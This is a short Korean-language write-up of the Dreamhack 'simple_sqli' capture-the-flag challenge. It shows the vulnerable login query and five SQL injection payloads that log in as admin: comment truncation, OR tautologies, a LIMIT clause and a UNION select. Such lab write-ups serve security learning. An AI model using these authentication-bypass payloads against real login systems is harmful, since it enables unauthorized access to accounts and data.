드림핵 simple_sqli Write Up
문제 설명
SQL injection을 통해 flag를 알아내면 된다.
문제 풀이
소스코드를 확인하면 admin으로 접속을 하면 flag를 출력한다.
select * from users where userid="{userid}" and userpassword="{userpassword}"
위는 로그인시 SQL 쿼리문이다.
공격 방법 1
공격 코드 : select * from users where userid="admin" -- " and userpassword="{userpassword}"
위의 공격코드에서 admin뒤에 -- 주석을 넣어 뒤에 코드를 주석처리 하였다. 따라서 userid가 admin인 계정을 반환하므로 문제를 해결할 수 있을것이다.!!
공격에 성공하였고 flag를 출력하였다.
공격 방법 2
공격 코드 : select * from users where userid="admin" or "1 " and userpassword="dummy"
공격 방법 3
공격 코드 : select * from users where userid="admin" and userpassword="" or userid="admin"
공격 방법 4
공격 코드 : select * from users where userid="admin" or 1 limit 1,1-- and userpassword="" or userid="admin"
limit 절은 특정 집합을 출력 시 출력하는 행의 수를 한정하는 역할을 한다.
ex) limit N,M은 N번째 부터 M개 보여준다.
공격 방법 5
공격 코드 : select * from users where userid="dummy" and userpassword="" union select * from users where userid="admin"
union 문을 사용하여 userid가 admin인 계정으로 접속하였다.